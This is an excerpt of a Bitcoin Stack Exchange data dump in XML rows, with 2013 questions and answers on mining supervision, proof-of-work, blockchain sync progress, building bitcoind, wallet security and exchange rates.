  <row Id="10844" PostTypeId="2" ParentId="8234" CreationDate="2013-05-13T01:25:25.177" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://upstart.ubuntu.com/&quot; rel=&quot;nofollow&quot;&gt;Upstart&lt;/a&gt; is the preferred method, have it launch your mining program on boot and respawn the program if it dies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking if it's working is another matter, it requires a more meta approach.  I would suggest you start another script that queries bitcoind via the command line, parses the response, and kills the process if it's not mining.  Upstart will see that the process is gone and spawn a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run into problems (overclocked GPU's are mighty unstable!) you might even want to log the number of times you have killed it and reboot the server after X kills in Y minutes.&lt;/p&gt;&#xA;" OwnerUserId="4264" LastActivityDate="2013-05-13T01:25:25.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10845" PostTypeId="2" ParentId="10821" CreationDate="2013-05-13T01:49:16.147" Score="1" Body="&lt;p&gt;In regards to monitoring the block propagation, you could deploy a largish number of nodes and log new blocks and a time-stamp to a DB as they come in.  There is probably some network size estimation requirements, but even a naive implementation should give you a good rough guess.&lt;/p&gt;&#xA;" OwnerUserId="4264" LastActivityDate="2013-05-13T01:49:16.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10846" PostTypeId="2" ParentId="10828" CreationDate="2013-05-13T01:54:13.883" Score="1" Body="&lt;p&gt;If it is real, then it probably has to do with how capital letters come before lower-case letters in the UTF-8/ASCII table.  Lower values = fewer bits.&lt;/p&gt;&#xA;" OwnerUserId="4264" LastActivityDate="2013-05-13T01:54:13.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10847" PostTypeId="1" CreationDate="2013-05-12T23:24:33.610" Score="2" ViewCount="1287" Body="&lt;p&gt;It is not an official currency (yet?) but definitely has a market, and as such, I might be intrested in short-selling some. Are there any reliable, way to bet against it?&lt;/p&gt;&#xA;" OwnerUserId="4995" OwnerDisplayName="Jani Kovacs" LastActivityDate="2013-05-13T02:31:37.683" Title="Is there any reasonable way to short-sell Bitcoin" Tags="|currencies|" AnswerCount="1" CommentCount="1" ClosedDate="2013-05-13T16:16:32.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="10848" PostTypeId="2" ParentId="10847" CreationDate="2013-05-12T23:51:14.087" Score="1" Body="&lt;p&gt;Even though I would strongly &lt;strong&gt;advise against it&lt;/strong&gt; doing a search turns up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://icbit.se/&quot; rel=&quot;nofollow&quot;&gt;https://icbit.se/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mpex.co/&quot; rel=&quot;nofollow&quot;&gt;http://mpex.co/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are probably others but do take into consideration that the majority of these &quot;exchanges&quot; have statements like the one listed bellow (taken from &lt;a href=&quot;https://btct.co/faq&quot; rel=&quot;nofollow&quot;&gt;https://btct.co/faq&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Is it legal for this exchange to operate?&lt;/strong&gt;   (...)&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;No assets on the site are to be considered real.   &lt;/li&gt;&#xA;  &lt;li&gt;The use of this site is for &lt;strong&gt;educational and entertainment purposes only&lt;/strong&gt;.   &lt;/li&gt;&#xA;  &lt;li&gt;If an asset issuer on this site defaults, you have ZERO RECOURSE. (not like you have any recourse in most international BTC situations&#xA;  anyway.)&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4994" OwnerDisplayName="Frankie" LastActivityDate="2013-05-12T23:51:14.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10849" PostTypeId="1" CreationDate="2013-05-13T05:17:22.213" Score="0" ViewCount="3333" Body="&lt;p&gt;My understanding of mining is that the reason an award of Bitcoin comes along with the solving of the current block is to give people incentive to actually try to solve the block.  My understanding is also that the reason that it is desirable to have people trying to solve blocks is because this is what makes the network work, that is, the more people using their processing power to verify Bitcoin transactions, the better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is what hashing has to do with actual transaction verification?  I sort of vaguely have this idea in my head that because of the difficulty of the SHA256 hashing algorithm, if someone finds a hash that solves a block, that must mean they spent a significant amount of time working to find the hash . . . but what does that have to do with spending a significant amount of time working to verify transactions?  What stops people from just hashing but not verifying?  Moreover, if I am correct in assuming that hashing serves no other purpose other than to verify that someone indeed put in a fair amount of work for the network, is there really no other better method to prove this?  Why is something as stupid as just keeping track of how many transactions a person has verified not going to work?&lt;/p&gt;&#xA;" OwnerUserId="4035" LastEditorUserId="5406" LastEditDate="2016-04-28T14:38:13.647" LastActivityDate="2016-04-28T14:38:13.647" Title="Solving a block and verification of transactions" Tags="|transactions|mining-theory|hash|sha256|verification|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-13T19:04:35.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="10850" PostTypeId="1" AcceptedAnswerId="10872" CreationDate="2013-05-13T05:45:54.370" Score="10" ViewCount="4824" Body="&lt;p&gt;I was wondering where I could see how many unique addresses currently exist in the blockchain, and especially how many of those have a positive balance. Is that data available somewhere?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="69241" LastEditDate="2018-03-25T08:28:57.123" LastActivityDate="2018-03-25T08:28:57.123" Title="How many Bitcoin addresses are there?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10851" PostTypeId="1" CreationDate="2013-05-13T06:37:32.823" Score="2" ViewCount="485" Body="&lt;p&gt;If you were to uncheck the 'Market Order' box and buy 10 at 110USD, the order can be partially filled by 1 at 110USD and there are 9 more for sale at 113USD, the matching system would partially fill your order and then wait, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &quot;slippage&quot; only occur because of market orders?&lt;/p&gt;&#xA;" OwnerUserId="4956" LastActivityDate="2013-08-22T16:47:09.210" Title="Does slippage occur on MtGox when 'Market Order' is unchecked?" Tags="|mtgox|" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="10852" PostTypeId="2" ParentId="10849" CreationDate="2013-05-13T08:07:27.053" Score="2" Body="&lt;p&gt;Verifying a transaction is not a difficult process, it is finding a good block hash that makes mining difficult. Furthermore, if a miner verifies a transaction and includes it in the block he is creating, he gets the transaction fee from that transaction. This makes it attractive for miners to verify transactions instead of just looking for a block hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why mining is difficult and it needs to be verified that a miner has put a certain amount of work in finding his new block, is for security of the network. If mining were easier, it would be easier for &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot; rel=&quot;nofollow&quot;&gt;attackers&lt;/a&gt; to take control over the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the Bitcoin protocol tries to achieve a block creation rate of 1 block every 10 minutes. To achieve this, the protocol automatically adjusts the difficulty of finding a block every 2016 blocks. This should be approximately 2 weeks. When these 2016 blocks were found too quickly, the difficulty will rise. Otherwise, it will fall. This makes it possible to &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;predict the supply of bitcoins over time&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, because we only want one block to be found every 10 minutes, the difficulty has to be proportional to the total amount of work the whole network is doing. This means the more people are mining, the more they help raising the difficulty and help making the network more secure against attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't fully understand your last question. But &quot;keeping track of how many transactions a person has verified&quot; would not be a suitable alternative for several reasons. First, as I mentioned above, transaction verifying is not a difficult process, so the amount of verified transactions would not be a good measure of the amount of work you did. Also, in the Bitcoin network, there does not exist such thing as a &quot;person&quot;. It is possible to keep track of the IP address of who submits transactions and blocks, but identifying people by their IP address is not a good idea (IP's are not always fixed and multiple users can share an IP). The only other identification method Bitcoin supports are its addresses, but real Bitcoin anonymity requires you to frequently change the address you use, so addresses should not be used as identification. (&lt;a href=&quot;https://en.bitcoin.it/wiki/Green_address&quot; rel=&quot;nofollow&quot;&gt;Although sometimes they are.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to answer all your questions, if I missed something, just ask me in a comment.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-13T08:34:54.820" LastActivityDate="2013-05-13T08:34:54.820" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10853" PostTypeId="1" CreationDate="2013-05-13T08:24:56.193" Score="3" ViewCount="208" Body="&lt;p&gt;Are there any known cases of compromised Bitcoin clients (whether proprietary or free)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don’t mean separate malware that attacks installed clients, but malware that is included in the client itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The authors could have included malware intentionally, or unintentionally (without understanding the consequences, e.g. by accepting a code commit of someone else), or their download server could have been compromised, or something else.&lt;/p&gt;&#xA;" OwnerUserId="4975" LastActivityDate="2013-08-11T17:00:02.387" Title="Compromised Bitcoin clients?" Tags="|client|security|hacking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10854" PostTypeId="2" ParentId="10850" CreationDate="2013-05-13T08:26:50.090" Score="6" Body="&lt;p&gt;You could create an index of all addresses and their balances by going over the whole block chain, f.e. using the RPC API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I quickly wrote this script in Python. &lt;em&gt;Note that I did not verify it!&lt;/em&gt; I only made it to give you an idea on how you can iterate over all transactions. Also, there is probably a more time-efficient way to do it by reading the block chain files yourself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# setup bitcoind as RPC connection to your bitcoind client using JSON-RPC&#xA;block_hash = bitcoind.getblockhash(0)&#xA;while True:&#xA;    block = bitcoind.getblock(block_hash)&#xA;    for txid in block[&quot;tx&quot;]:&#xA;        # you will need to run bitcoind with -txindex to be able to do this&#xA;        tx = bitcoind.gettransaction(txid)&#xA;        for det in tx[&quot;details&quot;]:&#xA;            address = det[&quot;address&quot;]&#xA;            amount = det[&quot;amount&quot;]&#xA;            # do something with address and amount&#xA;            #  f.e. put them in a dictionary (this will take a lot of RAM)&#xA;            #  it is more advised to setup a db on disk&#xA;    if block.has_key(&quot;nextblockhash&quot;):&#xA;        block_hash = block[&quot;nextblockhash&quot;]&#xA;    else:&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-13T08:26:50.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10855" PostTypeId="2" ParentId="10853" CreationDate="2013-05-13T08:41:44.873" Score="1" Body="&lt;p&gt;There are, but I can't remember where I read about them. Sorry.&#xA;There has popped up Litecoin wallets with malware/trojans in them... Therefor there is always a warning/saying that tells you to download the wallet ONLY FROM the official site. (for instance &lt;a href=&quot;http://litecoin.org&quot; rel=&quot;nofollow&quot;&gt;http://litecoin.org&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-05-13T08:41:44.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10859" PostTypeId="1" CreationDate="2013-05-13T09:02:29.290" Score="19" ViewCount="14311" Body="&lt;p&gt;I have installed &lt;code&gt;bitcoind&lt;/code&gt; on ubuntu server, and when I run &lt;code&gt;screen -x&lt;/code&gt; for btc it says &lt;code&gt;error -10 blockchain is downloading&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I know the progress level? currently 125600 blocks are downloaded, but how many blocks yet to go? where do i check the blockchain download progress level? does it has capability to resume if the server is powered off?&lt;/p&gt;&#xA;" OwnerUserId="5001" LastEditorUserId="38025" LastEditDate="2016-06-24T13:45:35.820" LastActivityDate="2020-03-22T17:13:25.717" Title="How to check Bitcoind block chain download progress level" Tags="|blockchain|bitcoind|ubuntu|" AnswerCount="9" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10860" PostTypeId="1" CreationDate="2013-05-13T09:08:42.817" Score="1" ViewCount="2649" Body="&lt;p&gt;Two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is MultiBit secure? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I opened a wallet in blockchain.info, and I want to import .aes.json to MultiBit, hong long will MultiBit import .aes.json take? I waited too long.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5003" LastEditorUserId="1307" LastEditDate="2013-05-13T09:15:31.050" LastActivityDate="2013-11-09T20:02:52.053" Title="Is MultiBit secure? And hong long will MultiBit import .aes.json take?" Tags="|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10861" PostTypeId="2" ParentId="10859" CreationDate="2013-05-13T09:09:48.423" Score="2" Body="&lt;p&gt;You can see the current total amount of blocks on public block chain browsers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/getblockcount&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/q/getblockcount&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-13T09:09:48.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10862" PostTypeId="2" ParentId="10860" CreationDate="2013-05-13T09:18:00.857" Score="0" Body="&lt;p&gt;I don't know MultiBit too well, but since it is mentioned on the bitcoin.org homepage, I think it's secure enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once MultiBit is in sync with the network, such an import should only take a matter of seconds. If you have to wait fora minute or more, there is probably something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that MultiBit supports Blockchain.info's wallet format?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-13T09:18:00.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10863" PostTypeId="1" CreationDate="2013-05-13T10:54:26.497" Score="3" ViewCount="4356" Body="&lt;p&gt;Are there any Bitcoin clients or services that support sending bitcoins to a HTTP(S) URL instead of having to enter a Bitcoin address directly? (e.g. &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2161/4975&quot;&gt;for donations&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Webmasters could include their Bitcoin address in a &lt;code&gt;link&lt;/code&gt; element in each page (same for the whole site or different for each page, e.g. to account which page generated which donation):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;payment&quot; href=&quot;bitcoin:…&quot; title=&quot;Donate bitcoins, if my article was of help to you&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;href&lt;/code&gt; attribute should contain the Bitcoin address, using the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4987/4975&quot;&gt;&lt;code&gt;bitcoin&lt;/code&gt; URI scheme&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;rel&lt;/code&gt; attribute should have the value &lt;a href=&quot;http://microformats.org/wiki/rel-payment&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;payment&lt;/code&gt;&lt;/a&gt;. It’s defined as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RelPayment is a microformat for making exchanges of support (be it financial or otherwise) possible. By adding rel=&quot;payment&quot; to a hyperlink a page indicates that the destination of that hyperlink provides a way to show or give support for the current page. For example &lt;strong&gt;to give financial support to the owner of the current page&lt;/strong&gt;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The (optional) &lt;code&gt;title&lt;/code&gt; attribute could contain a small note, e.g. what the donations are used for, or who exactly would be the receiver etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Tools (Bitcoin clients/services, browser add-ons etc.) could extract the Bitcoin address by looking for a link with the link type &lt;code&gt;payment&lt;/code&gt; whose URI uses the scheme &lt;code&gt;bitcoin&lt;/code&gt;.&#xA;If one enters a webpage URL that hasn’t linked a Bitcoin address, the tool should throw an error. For security reasons probably only &lt;code&gt;link&lt;/code&gt; elements should be parsed (instead of &lt;code&gt;a&lt;/code&gt;/&lt;code&gt;area&lt;/code&gt;), otherwise e.g. commentators could include their own Bitcoin addresses.&lt;/p&gt;&#xA;" OwnerUserId="4975" LastEditorUserId="516" LastEditDate="2017-10-30T20:12:16.037" LastActivityDate="2017-10-30T20:12:16.037" Title="Support sending bitcoins using webpage URL?" Tags="|address|websites|donation|" AnswerCount="3" CommentCount="5" ClosedDate="2017-11-08T03:58:04.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="10864" PostTypeId="1" CreationDate="2013-05-13T11:21:47.027" Score="2" ViewCount="1653" Body="&lt;p&gt;Is there a reserved Bitcoin address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should not be able to send bitcoins to it. But the address should be syntactically valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such an address could be used for examples/documentation, without advantaging the author. Similar to &lt;a href=&quot;http://en.wikipedia.org/wiki/Example.com&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;example.com&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin#Addresses&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0021#Examples&quot; rel=&quot;nofollow&quot;&gt;bitcoin.it&lt;/a&gt; use &lt;code&gt;bitcoin:175tWpb8K1S7NmH4Zx6rewF9WQrcZv245W&lt;/code&gt;. Is this a reserved address or is it owned by someone? (resp.: could you send bitcoins to this address?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no reserved address, which should we use? Simply take a valid address and replace the first digit with, say, a &quot;9&quot;? (would this be future-proof?) Or use a testnet address?&lt;/p&gt;&#xA;" OwnerUserId="4975" LastActivityDate="2015-04-02T21:46:05.577" Title="Reserved Bitcoin address for examples?" Tags="|address|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10865" PostTypeId="2" ParentId="10860" CreationDate="2013-05-13T11:28:48.640" Score="1" Body="&lt;p&gt;There is currently a bug in the 0.5.9 code that prevents it from loading blockchain.info wallets. It is fixed in the develop code and will get into version 0.5.10 (which will probably be released after the Bitcoin conference now). The older versions work fine - version 0.4.23 is in &lt;a href=&quot;https://multibit.org/releases&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/releases&lt;/a&gt; . You could just use that version for the import. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is MultiBit secure ?&#xA;Security for bitcoins has several aspects - here are the main ones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it open source ? Yes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you trust the developers ? Well that is for you to decide but I've been working on it solid for over a year now and code it 'in the open' not pseudonymously. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you check the downloads are the correct ones ? This is important now that Trojans have started appearing. Yes. Download from &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org&lt;/a&gt;. Check the binary against the PGP signatures. The Mac version is also signed with a Mac developer cert and soon I'll start doing the same with the Windows version. Not enough? : build it directly from the code. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you control the private keys ? Yes, there are stored locally. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you encrypt them ? Yes. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What about malware and keyloggers ? Until we get hardware wallets bitcoin clients in general are vulnerable to an attack by malware and keyloggers combined. You need to practice 'Safe Computing' on the computer you have your bitcoin on. If you are dealing with serious amounts of bitcoin sign your transactions offline with either Electrum or Armory rather than MultiBit. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-05-13T13:25:09.470" LastActivityDate="2013-05-13T13:25:09.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10866" PostTypeId="2" ParentId="10864" CreationDate="2013-05-13T11:40:27.630" Score="1" Body="&lt;p&gt;There are no differences among Bitcoin addresses, so in principle you could use any address you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you should know that sending bitcoins to an address is irreversible, so it will cost you money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better solution would be to test everything using &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;testnet&lt;/a&gt;. Bitcoin testnet is a completely separate block chain used for testing only. You can get testnet bitcoins &lt;a href=&quot;http://testnet.mojocoin.com/&quot; rel=&quot;nofollow&quot;&gt;for free&lt;/a&gt; and use the standard Bitcoin client when you start it with the &lt;code&gt;-testnet&lt;/code&gt; flag.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-13T11:40:27.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10867" PostTypeId="1" CreationDate="2013-05-13T11:56:14.560" Score="0" ViewCount="6229" Body="&lt;p&gt;Is there anyway to get current rate of BRL = BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw the &lt;a href=&quot;https://blockchain.info/ticker&quot; rel=&quot;nofollow&quot;&gt;blockchiain ticker&lt;/a&gt;. But the value for BRL currency is not updated &#xA;As listed &lt;a href=&quot;http://preev.com/btc/brl&quot; rel=&quot;nofollow&quot;&gt;here in preev&lt;/a&gt;.&#xA;I want to get the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; current 1BTC= how much BRL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4065" LastEditorUserId="51948" LastEditDate="2017-12-24T03:20:37.753" LastActivityDate="2017-12-24T03:20:37.753" Title="How to get current BTC rate for BRL(real) using php cURL or javascript" Tags="|api|exchange-rate|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10870" PostTypeId="2" ParentId="10864" CreationDate="2013-05-13T13:57:35.870" Score="2" Body="&lt;p&gt;The address provided is invalid; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry this is is not a valid bitcoin address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(as per &lt;a href=&quot;http://blockchain.info/address/175tWpb8K1S7NmH4Zx6rewF9WQrcZv245W&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/175tWpb8K1S7NmH4Zx6rewF9WQrcZv245W&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="5009" LastActivityDate="2013-05-13T13:57:35.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10871" PostTypeId="2" ParentId="10859" CreationDate="2013-05-13T14:00:33.417" Score="8" Body="&lt;p&gt;As of 2019, you can use the following script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo `bitcoin-cli getblockcount 2&amp;gt;&amp;amp;1`/`wget -O - http://blockchain.info/q/getblockcount 2&amp;gt;/dev/null`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2019-09-09T09:30:43.730" LastActivityDate="2019-09-09T09:30:43.730" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10872" PostTypeId="2" ParentId="10850" CreationDate="2013-05-13T15:01:22.530" Score="6" Body="&lt;p&gt;As of 12th May 2013 there have been just over 13 million distinct Bitcoin addresses which have been recipients of funds, and of those just over 1.6 million carry a positive balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, please be aware that a single person's wallet is very likely to have multiple addresses in it, so the above numbers should not be extrapolated to assume anything about the number of &lt;em&gt;users&lt;/em&gt; of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-13T15:01:22.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10874" PostTypeId="2" ParentId="10010" CreationDate="2013-05-13T17:43:06.210" Score="6" Body="&lt;p&gt;&lt;code&gt;Edited answer after Tom van der Woerdt's comment about using an untrusted repo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from: &lt;a href=&quot;https://gist.github.com/WyseNynja/2503687&quot;&gt;https://gist.github.com/WyseNynja/2503687&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get install -y git-core build-essential libssl-dev libboost-all-dev libdb5.1-dev libdb5.1++-dev libgtk2.0-dev&#xA;&#xA;git clone https://github.com/bitcoin/bitcoin.git&#xA;cd bitcoin/src&#xA;&#xA;make -f makefile.unix clean; make -f makefile.unix USE_UPNP= bitcoind&#xA;&#xA;# from #bitcoin-dev:&#xA;# sacarlson: USE_UPNP= : don't build upnp, USE_UPNP=0 : build but disable by default, USE_UPNP=1 : build but enable by default&#xA;&#xA;# optionally, &#xA;strip bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;download blockchain (check against &lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot;&gt;http://blockexplorer.com/q/getblockcount&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;test bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getbalance&#xA;bitcoind getaccountaddress account #(where account is the rpcuser account you created earlier in your bitcoind.conf file.) It will look like this: 1djfdLXSgqrwtexqkn9JewSrCJU4vu74eR4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;send coins to the address and doublecheck &lt;code&gt;bitcoind getbalance&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4368" LastEditorUserId="4368" LastEditDate="2013-05-13T21:11:02.817" LastActivityDate="2013-05-13T21:11:02.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10876" PostTypeId="1" CreationDate="2013-05-13T19:28:59.140" Score="0" ViewCount="73" Body="&lt;p&gt;I've been using Bitcoin Wallet on windows 7 to receive payments successfully but after making my 1st BTC payment the transaction doesn't appear to be clearing (957 confirmations and counting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recipient of the payment has asked for my transaction email confirmation but I don't recall setting an email address or where to check if I ever did this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can someone help?&lt;/p&gt;&#xA;" OwnerUserId="5014" LastActivityDate="2013-05-13T20:34:08.450" Title="Setting up: sending and email" Tags="|transactions|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10877" PostTypeId="2" ParentId="10876" CreationDate="2013-05-13T20:34:08.450" Score="3" Body="&lt;p&gt;If the transactions is shown in your Bitcoin-Qt client as having confirmations, then the transaction went through and is confirmed. Most systems consider a transaction as confirmed when it has one confirmation, some require up to 6 confirmations, but when a transaction has 957 confirmations, it is practically irreversible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your transaction has that amount of confirmations and the receiver did not get it yet, then he has a problem with its client, not you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There exists no such thing as e-mail confirmations in Bitcoin. It's possible that some clients offer it as a feature, but it is certainly nothing standard to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I don't know who the recipient is and I don't want to accuse anyone, but it seems like he is trying to have you send the transaction again.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-13T20:34:08.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
